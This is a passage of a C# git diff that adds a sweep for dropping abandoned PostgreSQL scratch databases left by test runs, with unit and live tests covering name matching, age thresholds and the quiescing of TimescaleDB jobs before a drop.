+    /// list; <see cref="SelectAbandoned"/> is the exact match that decides.
+    /// </summary>
+    private const string IdleCandidatesSql = @"
+SELECT d.datname
+FROM pg_database AS d
+WHERE d.datname LIKE 'darling\_scratch\_%'
+  AND NOT d.datistemplate
+  AND NOT EXISTS (
+      SELECT 1 FROM pg_stat_activity AS a
+      WHERE a.datid = d.oid AND a.backend_type = 'client backend')";
+
+    /// <summary>A fresh name: the prefix, the creation time to the second, then 12 hex characters.</summary>
+    internal static string NewName(DateTime utcNow) =>
+        NamePrefix
+        + utcNow.ToUniversalTime().ToString(StampFormat, CultureInfo.InvariantCulture)
+        + "_"
+        + Guid.NewGuid().ToString("N")[..12];
+
+    /// <summary>True when <paramref name="name"/> is exactly a name <see cref="NewName"/> can produce.</summary>
+    internal static bool IsFactoryName(string? name) => TryParseCreatedUtc(name, out _);
+
+    /// <summary>
+    /// The creation time read out of a factory name; false for any other name, and for a stamp that is not a real
+    /// date (a month of 13 is a near miss, not a database to drop).
+    /// </summary>
+    internal static bool TryParseCreatedUtc(string? name, out DateTime createdUtc)
+    {
+        createdUtc = default;
+        if (name is null)
+        {
+            return false;
+        }
+
+        var match = NamePattern.Match(name);
+        return match.Success
+            && DateTime.TryParseExact(
+                match.Groups["stamp"].Value,
+                StampFormat,
+                CultureInfo.InvariantCulture,
+                DateTimeStyles.AssumeUniversal | DateTimeStyles.AdjustToUniversal,
+                out createdUtc);
+    }
+
+    /// <summary>
+    /// The pure decision: of <paramref name="names"/>, the factory-pattern ones whose creation stamp is at least
+    /// <paramref name="olderThan"/> before <paramref name="utcNow"/>. A stamp in the future (a clock that ran ahead)
+    /// is not old, so it stays.
+    /// </summary>
+    internal static IReadOnlyList<string> SelectAbandoned(IEnumerable<string> names, DateTime utcNow, TimeSpan olderThan) =>
+        names
+            .Where(name => TryParseCreatedUtc(name, out var createdUtc) && utcNow - createdUtc >= olderThan)
+            .Distinct(StringComparer.Ordinal)
+            .ToList();
+
+    /// <summary>
+    /// Drops the abandoned scratch databases on the cluster <paramref name="baseConnectionString"/> reaches and
+    /// returns their names, logging each drop and each refusal.
+    /// </summary>
+    internal static async Task<IReadOnlyList<string>> SweepAsync(
+        string baseConnectionString,
+        DateTime utcNow,
+        TimeSpan olderThan,
+        Action<string> log,
+        CancellationToken cancellationToken)
+    {
+        var ownDatabase = new NpgsqlConnectionStringBuilder(baseConnectionString).Database;
+        var dropped = new List<string>();
+
+        /* #5549: unpooled, like ScratchPostgres's own create and drop, so the backend that ran a DROP DATABASE ends
+           with this connection instead of going back into the pool every live test draws from. */
+        await using var admin = new NpgsqlConnection(ScratchPostgres.UnpooledAdminConnectionString(baseConnectionString));
+        await admin.OpenAsync(cancellationToken);
+
+        var idle = new List<string>();
+        await using (var list = new NpgsqlCommand(IdleCandidatesSql, admin))
+        await using (var reader = await list.ExecuteReaderAsync(cancellationToken))
+        {
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                idle.Add(reader.GetString(0));
+            }
+        }
+
+        foreach (var name in SelectAbandoned(idle, utcNow, olderThan))
+        {
+            if (string.Equals(name, ownDatabase, StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            /* #5549: no TimescaleDB job worker is left in the database the drop below removes. Best-effort: it never
+               throws, so a database that cannot be opened, or one without the extension, goes straight to the drop; and
+               it ends at once when nothing runs there, so a sweep over idle databases stays quick. */
+            await ScratchPostgres.QuiesceTimescaleJobsAsync(baseConnectionString, name, cancellationToken);
+
+            try
+            {
+                /* One attempt. The server itself waits up to 5 s for the quiesce's closing session (and any other
+                   backend) to leave before it raises 55006, so a retry here only multiplies the wait for a session
+                   that really stays. The name matched the anchored pattern above, so it is hex and digits only: safe
+                   as a quoted identifier. */
+                await using var drop = new NpgsqlCommand($"DROP DATABASE IF EXISTS \"{name}\"", admin);
+                await drop.ExecuteNonQueryAsync(cancellationToken);
+
+                dropped.Add(name);
+                log($"Dropped abandoned scratch database {name}.");
+            }
+            catch (PostgresException ex)
+            {
+                /* Typically a session that connected after the check: not abandoned after all. Leave it. Its TimescaleDB
+                   jobs stay unscheduled (the quiesce ran first); see the class comment. */
+                log($"Left scratch database {name} in place: {ex.MessageText}");
+            }
+        }
+
+        return dropped;
+    }
+}
diff --git a/Darling/Darling.Tests/ScratchDatabaseSweepLiveTests.cs b/Darling/Darling.Tests/ScratchDatabaseSweepLiveTests.cs
new file mode 100644
index 0000000000..5682b0aad1
--- /dev/null
+++ b/Darling/Darling.Tests/ScratchDatabaseSweepLiveTests.cs
@@ -0,0 +1,431 @@
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4981 against a real cluster: the start-of-run sweep drops a scratch database a killed run left behind, and
+/// nothing else; and a scratch database that was never disposed does not outlive the process.
+///
+/// <para>The sweep cases plant databases with names that are exact factory names and names that only look like
+/// them, one of each reason the sweep must refuse (too young, a client session connected, a different shape), runs
+/// the sweep, and reads <c>pg_database</c> back. The sweep may also drop abandoned databases that other runs left on
+/// the same cluster, which is its job, so the assertions are about the planted names and about every dropped name
+/// being a factory name.</para>
+/// </summary>
+/* #1776 own-store: every database this class creates carries a name unique to the run, and the only rows it reads
+   are the cluster's own database list, so it does not race the shared store's tables. */
+public sealed class ScratchDatabaseSweepLiveTests
+{
+    private const string OldStamp = "20010101000000";
+
+    [Fact]
+    public async Task TheSweep_DropsAnOldIdleFactoryDatabase_AndLeavesEveryOtherNameAlone()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string to run the live scratch sweep test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        var now = DateTime.UtcNow;
+        /* 12 lowercase hex characters, fresh per call, so concurrent runs never collide on a name. */
+        static string Id() => Guid.NewGuid().ToString("N")[..12];
+
+        var abandoned = $"darling_scratch_{OldStamp}_{Id()}";
+        var busy = $"darling_scratch_{OldStamp}_{Id()}";
+        var young = $"darling_scratch_{now.AddMinutes(-5):yyyyMMddHHmmss}_{Id()}";
+        var nearMisses = new[]
+        {
+            $"darling_scratch_{Id()}",                           // the earlier shape, no stamp
+            $"darling_scratch_{OldStamp}_{Id()}0",               // 13 hex
+            $"darling_scratch_{OldStamp}_{Id()[..11]}",          // 11 hex
+            $"darling_scratch_{OldStamp}_ABCDEF{Id()[..6]}",     // uppercase hex
+            $"darling_scratch_{OldStamp}_{Id()}_x",              // trailing extra
+            $"darling_scratch_20011301000000_{Id()}",            // month 13
+            $"xdarling_scratch_{OldStamp}_{Id()}",               // prefixed
+            $"darlingtest_scratch_{OldStamp}_{Id()}",            // another family's prefix
+        };
+
+        var planted = new List<string> { abandoned, busy, young };
+        planted.AddRange(nearMisses);
+
+        /* The once-per-cluster sweep that ScratchPostgres.CreateAsync waits on runs from whichever test in this process
+           creates a scratch database first, in parallel with this class. A database stamped 2001 with no session is
+           exactly what that sweep drops, so planting one while it is still listing could lose it before the checks
+           below run. Creating and disposing one scratch database here waits for that sweep to finish, and it never
+           runs a second time in the process, so nothing planted below can be taken by it. */
+        await (await ScratchPostgres.CreateAsync(baseConnectionString!, ct)).DisposeAsync();
+
+        NpgsqlConnection? busySession = null;
+        var bodySucceeded = false;
+        try
+        {
+            /* #5549: unpooled, like every connection in this class that creates or drops a database. */
+            await using (var admin = new NpgsqlConnection(ScratchPostgres.UnpooledAdminConnectionString(baseConnectionString)))
+            {
+                await admin.OpenAsync(ct);
+
+                /* A client session on an old database: a run that is still using it, whatever its name says. It is
+                   connected the moment the database exists, because old with no session is what any sweep drops,
+                   including one from another process on the same cluster, which this class cannot wait for. */
+                await CreateDatabaseAsync(admin, busy, ct);
+                var busyBuilder = new NpgsqlConnectionStringBuilder(baseConnectionString) { Database = busy, Pooling = false };
+                busySession = new NpgsqlConnection(busyBuilder.ConnectionString);
+                await busySession.OpenAsync(ct);
+
+                foreach (var name in planted.Where(name => name != busy))
+                {
+                    await CreateDatabaseAsync(admin, name, ct);
+                }
+            }
+
+            var log = new List<string>();
+            var dropped = await ScratchDatabaseSweep.SweepAsync(
+                baseConnectionString!, now, ScratchDatabaseSweep.AbandonedAfter, log.Add, ct);
+
+            /* Nothing here depends on THIS sweep being the one that dropped the abandoned database: a sweep from another
+               process on the same cluster may have done it first. What must hold either way is that it is gone, that
+               every drop this sweep made was a factory name and was logged, and that it refused the rest. */
+            Assert.All(dropped, name => Assert.True(ScratchDatabaseSweep.IsFactoryName(name), name));
+            Assert.All(dropped, name => Assert.Contains(log, line => line.Contains(name, StringComparison.Ordinal)));
+            Assert.DoesNotContain(busy, dropped);
+            Assert.DoesNotContain(young, dropped);
+            Assert.Empty(dropped.Intersect(nearMisses, StringComparer.Ordinal));
+
+            var remaining = await ExistingAsync(baseConnectionString!, planted, ct);
+            Assert.DoesNotContain(abandoned, remaining);
+            Assert.Equal(
+                planted.Where(name => name != abandoned).OrderBy(name => name, StringComparer.Ordinal),
+                remaining.OrderBy(name => name, StringComparer.Ordinal));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            if (busySession is not null)
+            {
+                await busySession.DisposeAsync();
+            }
+
+            await LiveStoreCleanup.RunAsync(ScratchPostgres.UnpooledAdminConnectionString(baseConnectionString!), bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                foreach (var name in planted)
+                {
+                    /* No TimescaleDB job worker is left in the database the FORCE drop below kills (#5480). */
+                    await ScratchPostgres.QuiesceTimescaleJobsAsync(baseConnectionString!, name);
+                    await using var drop = new NpgsqlCommand($"DROP DATABASE IF EXISTS \"{name}\" WITH (FORCE)", cleanup);
+                    await drop.ExecuteNonQueryAsync(cleanupCt);
+                }
+            });
+        }
+    }
+
+    /// <summary>
+    /// #5549: an abandoned database with TimescaleDB jobs is quiesced before the sweep drops it. A custom job that
+    /// sleeps 8 seconds is running in the database when the sweep starts. The quiesce unschedules the jobs and waits for
+    /// the running worker to leave (its cap is 10 seconds). TimescaleDB's scheduler ends an unscheduled job's running
+    /// worker itself, a few seconds after the stop (faster on some machines), so a correct sweep can finish well before
+    /// the job's 8 seconds are up. Without the quiesce, a plain <c>DROP DATABASE</c> does not wait for the worker:
+    /// TimescaleDB ends it as part of the drop, which is the kill the quiesce exists to avoid, and the drop returns in a
+    /// fraction of a second (0.1 to 0.3 seconds on a rig). The two differ in ORDER, not in elapsed time (a clock floor
+    /// failed a correct 1.6 second sweep on CI): with the quiesce the worker is gone before the sweep's
+    /// <c>DROP DATABASE</c> starts, without it the drop runs while the worker is alive. So a monitor session polls
+    /// <c>pg_stat_activity</c> during the sweep and the test fails if any one look sees both at once. It also fails, rather
+    /// than passing silently, if the monitor never saw the worker alive after the sweep began.
+    ///</summary>
+    [Fact]
+    public async Task TheSweep_QuiescesAnAbandonedDatabasesTimescaleJobs_BeforeDroppingIt()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string to run the live scratch sweep test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        var now = DateTime.UtcNow;
+        var name = $"darling_scratch_{OldStamp}_{Guid.NewGuid().ToString("N")[..12]}";
+
+        /* Same wait as the first sweep test: the once-per-cluster sweep must have finished before an old, idle database
+           is planted, or it could be the one to drop it before the checks below run. */
+        await (await ScratchPostgres.CreateAsync(baseConnectionString!, ct)).DisposeAsync();
+
+        var bodySucceeded = false;
+        var workerAge = 0.0;
+        try
+        {
+            var unpooledAdmin = ScratchPostgres.UnpooledAdminConnectionString(baseConnectionString);
+            await using var admin = new NpgsqlConnection(unpooledAdmin);
+            await admin.OpenAsync(ct);
+            await CreateDatabaseAsync(admin, name, ct);
+
+            var inDatabase = new NpgsqlConnectionStringBuilder(baseConnectionString) { Database = name, Pooling = false }.ConnectionString;
+            await using (var connection = new NpgsqlConnection(inDatabase))
+            {
+                await connection.OpenAsync(ct);
+                await PgMigrations.MigrateAsync(connection, ct);
+                Assert.SkipUnless(await LiveTimescaleProbe.TryEnableAsync(inDatabase, ct),
+                    "TimescaleDB is not available on this PostgreSQL, so there are no jobs for the sweep to quiesce.");
+
+                /* The product's own policies, then one job that is still running when the sweep arrives. */
+                await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+                foreach (var sql in new[]
+                {
+                    "CREATE PROCEDURE public.sweep_quiesce_slow_job(job_id int, config jsonb) LANGUAGE plpgsql AS $$ BEGIN PERFORM pg_sleep(8); END $$",
+                    "SELECT add_job('public.sweep_quiesce_slow_job', interval '1 hour', initial_start => now())",
+                })
+                {
+                    await using var command = new NpgsqlCommand(sql, connection);
+                    await command.ExecuteNonQueryAsync(ct);
+                }
+            }
+
+            /* The slow job's worker (a "User-Defined Action", unlike the quick policy workers that run first) is attached to
+               the database, and no client session is: that is what the sweep looks for. */
+            var workers = 0L;
+            for (var poll = 0; poll < 100 && workers == 0; poll++)
+            {
+                workers = await SlowJobWorkerCountAsync(admin, name, ct);
+                if (workers == 0)
+                {
+                    await Task.Delay(TimeSpan.FromMilliseconds(100), ct);
+                }
+            }
+
+            Assert.True(workers > 0, "the slow job never started, so this test would prove nothing about the quiesce.");
+            for (var poll = 0; poll < 50 && await ClientSessionCountAsync(admin, name, ct) > 0; poll++)
+            {
+                await Task.Delay(TimeSpan.FromMilliseconds(100), ct);
+            }
+
+            Assert.Equal(0L, await ClientSessionCountAsync(admin, name, ct));
+
+            /* How long the worker has run, by the server's clock: it has 8 seconds minus this left. */
+            await using (var age = new NpgsqlCommand(
+                @"SELECT extract(epoch FROM now() - min(backend_start))::float8 FROM pg_stat_activity
+                  WHERE datname = $1 AND backend_type LIKE 'User-Defined Action%'", admin))
+            {
+                age.Parameters.AddWithValue(name);
+                workerAge = (double)(await age.ExecuteScalarAsync(ct))!;
+            }
+
+            Assert.True(workerAge < 5, $"the job worker is already {workerAge:F1} s into its 8 s sleep, too little left of it for the sweep to find the worker still alive.");
+
+            var workerPid = await WorkerPidAsync(admin, name, ct);
+
+            /* Watch the order, not the clock: a monitor session polls pg_stat_activity (about every 20 ms) for the whole
+               sweep. Each look is one statement, so it sees the worker and the sweeper's DROP DATABASE together or not
+               at all. A correct sweep never has both alive at one look: the worker is gone before the DROP starts. */
+            var watch = new SweepWatch();
+            using var watchStop = CancellationTokenSource.CreateLinkedTokenSource(ct);
+            await using var monitor = new NpgsqlConnection(unpooledAdmin);
+            await monitor.OpenAsync(ct);
+            var watcher = WatchAsync(monitor, workerPid, name, watch, watchStop.Token);
+
+            var log = new List<string>();
+            IReadOnlyList<string> dropped;
+            try
+            {
+                watch.SweepStarted = true;
+                dropped = await ScratchDatabaseSweep.SweepAsync(
+                    baseConnectionString!, now, ScratchDatabaseSweep.AbandonedAfter, log.Add, ct);
+            }
+            finally
+            {
+                await watchStop.CancelAsync();
+                await watcher;
+            }
+
+            Assert.Contains(name, dropped);
+            Assert.True(watch.WorkerAliveAfterStart > 0,
+                $"the monitor never saw the job worker (pid {workerPid}) alive after the sweep started ({watch.Looks} looks), so this run proves nothing about the quiesce: the scheduler ended the worker before the sweep began.");
+            Assert.True(watch.Overlaps == 0,
+                $"the sweep dropped the database while the job worker (pid {workerPid}) was still alive, at {watch.Overlaps} of {watch.Looks} looks: it did not wait the worker out.");
+            Assert.Contains(log, line => line.Contains(name, StringComparison.Ordinal) && line.StartsWith("Dropped", StringComparison.Ordinal));
+            Assert.Empty(await ExistingAsync(baseConnectionString!, new[] { name }, ct));
+            Assert.Equal(0L, await ScratchPostgres.JobWorkerCountAsync(admin, name, ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await DropIfStillThereAsync(baseConnectionString!, name, bodySucceeded);
+        }
+    }
+
+    /// <summary>What the monitor session saw while the sweep ran. The test sets <see cref="SweepStarted"/>; only the watcher writes the counts.</summary>
+    private sealed class SweepWatch
+    {
+        public volatile bool SweepStarted;
+        public int Looks;
+        public int WorkerAliveAfterStart;
+        public int Overlaps;
+    }
+
+    private static async Task<int> WorkerPidAsync(NpgsqlConnection admin, string name, CancellationToken ct)
+    {
+        await using var pid = new NpgsqlCommand(
+            "SELECT min(pid) FROM pg_stat_activity WHERE datname = $1 AND backend_type LIKE 'User-Defined Action%'", admin);
+        pid.Parameters.AddWithValue(name);
+        return await pid.ExecuteScalarAsync(ct) is int found ? found : 0;
+    }
+
+    /// <summary>
+    /// Polls until <paramref name="stop"/> fires. One statement per look, so both facts come from one snapshot: the job
+    /// worker with this pid is alive, and another backend is running the sweep's <c>DROP DATABASE</c> for this name.
+    /// </summary>
+    private static async Task WatchAsync(NpgsqlConnection monitor, int workerPid, string name, SweepWatch watch, CancellationToken stop)
+    {
+        /* The pattern is written DROP%DATABASE% so the drop-site census (UnpooledDropConnectionCensusTests) does not take this look-up for a drop. */
+        const string Look = @"SELECT
+              EXISTS (SELECT 1 FROM pg_stat_activity WHERE pid = $1 AND backend_type LIKE 'User-Defined Action%'),
+              EXISTS (SELECT 1 FROM pg_stat_activity WHERE pid <> pg_backend_pid() AND state = 'active'
+                      AND query LIKE 'DROP%DATABASE%' AND strpos(query, $2) > 0)";
+        try
+        {
+            while (!stop.IsCancellationRequested)
+            {
+                var started = watch.SweepStarted;
+                await using (var look = new NpgsqlCommand(Look, monitor))
+                {
+                    look.Parameters.AddWithValue(workerPid);
+                    look.Parameters.AddWithValue(name);
+                    await using var reader = await look.ExecuteReaderAsync(stop);
+                    await reader.ReadAsync(stop);
+                    var workerAlive = reader.GetBoolean(0);
+                    var dropRunning = reader.GetBoolean(1);
+                    watch.Looks++;
+                    if (started && workerAlive)
+                    {
+                        watch.WorkerAliveAfterStart++;
+                    }
+
+                    if (workerAlive && dropRunning)
+                    {
+                        watch.Overlaps++;
+                    }
+                }
+
+                /* No pause between looks: without the quiesce, the stretch where the DROP is running and the worker is not yet
+                   gone lasts only the milliseconds TimescaleDB takes to end the worker, and a 20 ms pause missed it. */
+                await Task.Yield();
+            }
+        }
+        catch (OperationCanceledException)
+        {
+            /* The sweep returned; the last look was cut short. */
+        }
+    }
+
+    private static async Task<long> SlowJobWorkerCountAsync(NpgsqlConnection admin, string name, CancellationToken ct)
+    {
+        await using var count = new NpgsqlCommand(
+            "SELECT count(*) FROM pg_stat_activity WHERE datname = $1 AND backend_type LIKE 'User-Defined Action%'", admin);
+        count.Parameters.AddWithValue(name);
+        return (long)(await count.ExecuteScalarAsync(ct))!;
+    }
+
+    private static async Task<long> ClientSessionCountAsync(NpgsqlConnection admin, string name, CancellationToken ct)
+    {
+        await using var count = new NpgsqlCommand(
+            "SELECT count(*) FROM pg_stat_activity WHERE datname = $1 AND backend_type = 'client backend'", admin);
+        count.Parameters.AddWithValue(name);
+        return (long)(await count.ExecuteScalarAsync(ct))!;
+    }
+
+    [Fact]
+    public async Task ADisposedScratchDatabase_IsGone_AndNoLongerRemembered()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string to run the live scratch sweep test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var name = scratch.DatabaseName;
+        var bodySucceeded = false;
+        try
+        {
+            Assert.True(ScratchDatabaseSweep.IsFactoryName(name), name);
+            Assert.True(ScratchPostgres.IsRemembered(name));
+            Assert.Single(await ExistingAsync(baseConnectionString!, new[] { name }, ct));
+
+            await scratch.DisposeAsync();
+
+            Assert.Empty(await ExistingAsync(baseConnectionString!, new[] { name }, ct));
+            Assert.False(ScratchPostgres.IsRemembered(name));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await DropIfStillThereAsync(baseConnectionString!, name, bodySucceeded);
+        }
+    }
+
+    /// <summary>
+    /// A test that fails before it can dispose, or a setup helper that throws between the create and the return, leaves
+    /// its database undisposed. The process-exit drain exists for exactly that; this leaves one undisposed on purpose
+    /// and runs the drain's own drop for just that name (the drain itself would also drop the databases other tests,
+    /// running in parallel, still use).
+    /// </summary>
+    [Fact]
+    public async Task ADatabaseNobodyDisposed_IsDroppedByTheDrain_AndForgottenAfterwards()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string to run the live scratch sweep test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        var leaked = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);   // deliberately never disposed
+        var name = leaked.DatabaseName;
+        var bodySucceeded = false;
+        try
+        {
+            Assert.True(ScratchPostgres.IsRemembered(name), "a database nobody disposed must still be queued for the drain");
+            Assert.Single(await ExistingAsync(baseConnectionString!, new[] { name }, ct));
+
+            await ScratchPostgres.DropRememberedAsync(name);
+
+            Assert.Empty(await ExistingAsync(baseConnectionString!, new[] { name }, ct));
+            Assert.False(ScratchPostgres.IsRemembered(name));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await DropIfStillThereAsync(baseConnectionString!, name, bodySucceeded);
+        }
+    }
+
+    /* The names are built in this class from digits and lowercase hex (or are deliberate near misses of that shape),
+       never from input, so they are safe as quoted identifiers. */
+    private static async Task CreateDatabaseAsync(NpgsqlConnection admin, string name, CancellationToken ct)
+    {
+        await using var create = new NpgsqlCommand($"CREATE DATABASE \"{name}\"", admin);
+        await create.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<List<string>> ExistingAsync(string connectionString, IEnumerable<string> names, CancellationToken ct)
+    {
+        var found = new List<string>();
+        await using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await using var command = new NpgsqlCommand("SELECT datname FROM pg_database WHERE datname = ANY($1)", connection);
+        command.Parameters.AddWithValue(names.ToArray());
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            found.Add(reader.GetString(0));
+        }
+
+        return found;
+    }
+
+    private static Task DropIfStillThereAsync(string connectionString, string name, bool bodySucceeded) =>
+        LiveStoreCleanup.RunAsync(ScratchPostgres.UnpooledAdminConnectionString(connectionString), bodySucceeded, async (cleanup, cleanupCt) =>
+        {
+            /* No TimescaleDB job worker is left in the database the FORCE drop below kills (#5480). */
+            await ScratchPostgres.QuiesceTimescaleJobsAsync(connectionString, name);
+            await using var drop = new NpgsqlCommand($"DROP DATABASE IF EXISTS \"{name}\" WITH (FORCE)", cleanup);
+            await drop.ExecuteNonQueryAsync(cleanupCt);
+        });
+}
diff --git a/Darling/Darling.Tests/ScratchDatabaseSweepTests.cs b/Darling/Darling.Tests/ScratchDatabaseSweepTests.cs
new file mode 100644
index 0000000000..763a3e4364
--- /dev/null
+++ b/Darling/Darling.Tests/ScratchDatabaseSweepTests.cs
@@ -0,0 +1,129 @@
+using System;
+using System.Globalization;
+using System.Linq;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The decision half of the start-of-run sweep (#4981): which database names it may ever drop. The sweep is aimed at
+/// whatever the test connection string names, so the property that matters is the negative one, that a name that merely
+/// looks like a scratch database is never selected. The live half, against a real cluster, is
+/// <see cref="ScratchDatabaseSweepLiveTests"/>.
+/// </summary>
+public sealed class ScratchDatabaseSweepTests
+{
+    private static readonly DateTime Now = new(2026, 10, 3, 12, 0, 0, DateTimeKind.Utc);
+
+    private const string OldStamp = "20260101000000";
+
+    private const string Id = "0123456789ab";
+
+    private static string Name(string stamp = OldStamp, string id = Id) => "darling_scratch_" + stamp + "_" + id;
+
+    [Fact]
+    public void AFreshName_IsAFactoryName_AndCarriesItsCreationTime()
+    {
+        var created = new DateTime(2026, 10, 3, 11, 59, 58, DateTimeKind.Utc);
+
+        var name = ScratchDatabaseSweep.NewName(created);
+
+        Assert.True(ScratchDatabaseSweep.IsFactoryName(name), name);
+        Assert.True(ScratchDatabaseSweep.TryParseCreatedUtc(name, out var parsed));
+        Assert.Equal(created, parsed);
+        Assert.Equal(DateTimeKind.Utc, parsed.Kind);
+        Assert.True(name.Length <= 63, "a PostgreSQL identifier is at most 63 bytes");
+    }
+
+    [Fact]
+    public void TwoFreshNames_DifferEvenInTheSameSecond()
+    {
+        Assert.NotEqual(ScratchDatabaseSweep.NewName(Now), ScratchDatabaseSweep.NewName(Now));
+    }
+
+    /// <summary>
+    /// Every one of these looks like a scratch database to a person skimming a database list, and none may be
+    /// dropped, however old it looks. The first is what the factory minted before names carried a stamp: it has no
+    /// age to compare, so the sweep leaves it.
+    /// </summary>
+    [Theory]
+    [InlineData("darling_scratch_0123456789ab")]                         // the earlier shape, no stamp
+    [InlineData("darling_scratch_20260101000000_0123456789a")]           // 11 hex
+    [InlineData("darling_scratch_20260101000000_0123456789abc")]         // 13 hex
+    [InlineData("darling_scratch_20260101000000_0123456789AB")]          // uppercase hex
+    [InlineData("darling_scratch_20260101000000_0123456789ag")]          // not hex
+    [InlineData("darling_scratch_20260101000000_0123456789ab_x")]        // trailing extra
+    [InlineData("darling_scratch_20260101000000_0123456789ab\n")]        // trailing newline
+    [InlineData("darling_scratch_2026010100000_0123456789ab")]           // 13-digit stamp
+    [InlineData("darling_scratch_202601010000000_0123456789ab")]         // 15-digit stamp
+    [InlineData("darling_scratch_20261301000000_0123456789ab")]          // month 13 is not a date
+    [InlineData("darling_scratch_20260230000000_0123456789ab")]          // 30 February is not a date
+    [InlineData("darling_scratch_20260101250000_0123456789ab")]          // hour 25 is not a time
+    [InlineData("darling_scratch_2026010100000a_0123456789ab")]          // a letter in the stamp
+    [InlineData("darling_scratch_\u0662\u0660\u0662\u0666\u0660\u0661\u0660\u0661\u0660\u0660\u0660\u0660\u0660\u0660_0123456789ab")]          // non-ASCII digits in the stamp
+    [InlineData("Darling_Scratch_20260101000000_0123456789ab")]          // different case
+    [InlineData("xdarling_scratch_20260101000000_0123456789ab")]         // prefixed
+    [InlineData(" darling_scratch_20260101000000_0123456789ab")]         // leading space
+    [InlineData("darling_scratch__0123456789ab")]                        // no stamp, extra underscore
+    [InlineData("darling_scratch_20260101000000-0123456789ab")]          // wrong separator
+    [InlineData("darling_scratch20260101000000_0123456789ab")]           // missing separator
+    [InlineData("darlingtest_scratch_20260101000000_0123456789ab")]      // another family's prefix
+    [InlineData("darling_upgrade_ladder_test_3_7_0")]                    // another test fixture's database
+    [InlineData("darlingtest_4981")]
+    [InlineData("darling")]
+    [InlineData("postgres")]
+    [InlineData("template0")]
+    [InlineData("template1")]
+    [InlineData("")]
+    public void ANameThatLooksCloseButIsNotTheFactoryPattern_IsNeverSelected(string name)
+    {
+        Assert.False(ScratchDatabaseSweep.IsFactoryName(name), name);
+        Assert.Empty(ScratchDatabaseSweep.SelectAbandoned(new[] { name }, Now, TimeSpan.Zero));
+        Assert.Empty(ScratchDatabaseSweep.SelectAbandoned(new[] { name }, DateTime.MaxValue.AddDays(-1), TimeSpan.Zero));
+    }
+
+    [Fact]
+    public void ANullName_IsNotAFactoryName()
+    {
+        Assert.False(ScratchDatabaseSweep.IsFactoryName(null));
+    }
+
+    [Fact]
+    public void OnlyFactoryNamesOlderThanTheThreshold_AreSelected()
+    {
+        var threshold = ScratchDatabaseSweep.AbandonedAfter;
+        string Stamped(TimeSpan age) => Name(Now.Subtract(age).ToString(ScratchDatabaseSweep.StampFormat, CultureInfo.InvariantCulture));
+
+        var exactlyAtTheThreshold = Stamped(threshold);
+        var justPast = Stamped(threshold + TimeSpan.FromSeconds(1));
+        var daysOld = Stamped(TimeSpan.FromDays(9));
+        var justInside = Stamped(threshold - TimeSpan.FromSeconds(1));
+        var young = Stamped(TimeSpan.FromMinutes(2));
+        var aheadOfTheClock = Name(Now.AddHours(3).ToString(ScratchDatabaseSweep.StampFormat, CultureInfo.InvariantCulture), "fedcba987654");
+
+        var selected = ScratchDatabaseSweep.SelectAbandoned(
+            new[] { young, justInside, aheadOfTheClock, exactlyAtTheThreshold, justPast, daysOld, "postgres", "darling_scratch_0123456789ab" },
+            Now,
+            threshold);
+
+        Assert.Equal(
+            new[] { exactlyAtTheThreshold, justPast, daysOld }.OrderBy(n => n, StringComparer.Ordinal),
+            selected.OrderBy(n => n, StringComparer.Ordinal));
+    }
+
+    [Fact]
+    public void ARepeatedName_IsSelectedOnce()
+    {
+        var selected = ScratchDatabaseSweep.SelectAbandoned(new[] { Name(), Name() }, Now, ScratchDatabaseSweep.AbandonedAfter);
+
+        Assert.Equal(new[] { Name() }, selected);
+    }
+
+    [Fact]
+    public void TheThreshold_IsLongerThanAnyTestRunsAScratchDatabase()
+    {
+        /* A test keeps its database for the length of the test. The longest live tests here run for minutes, so a
+           margin under ten would put a slow neighbour's databases at risk. */
+        Assert.True(ScratchDatabaseSweep.AbandonedAfter >= TimeSpan.FromMinutes(10));
+    }
+}
diff --git a/Darling/Darling.Tests/ScratchPostgres.cs b/Darling/Darling.Tests/ScratchPostgres.cs
index e65d5aa72d..9de51d3496 100644
--- a/Darling/Darling.Tests/ScratchPostgres.cs
+++ b/Darling/Darling.Tests/ScratchPostgres.cs
@@ -1,7 +1,11 @@
 using System;
+using System.Collections.Concurrent;
+using System.Collections.Generic;
+using System.Linq;
 using System.Threading;
 using System.Threading.Tasks;
 using Npgsql;
+using Xunit;
 
 namespace Darling.Tests;
 
@@ -14,6 +18,21 @@ namespace Darling.Tests;
 /// dispose with <c>WITH (FORCE)</c> so a lingering connection can never wedge the drop.
 /// <c>Pooling=false</c> on the scratch connection string keeps in-process pooled connections from
 /// pinning the database in the first place.
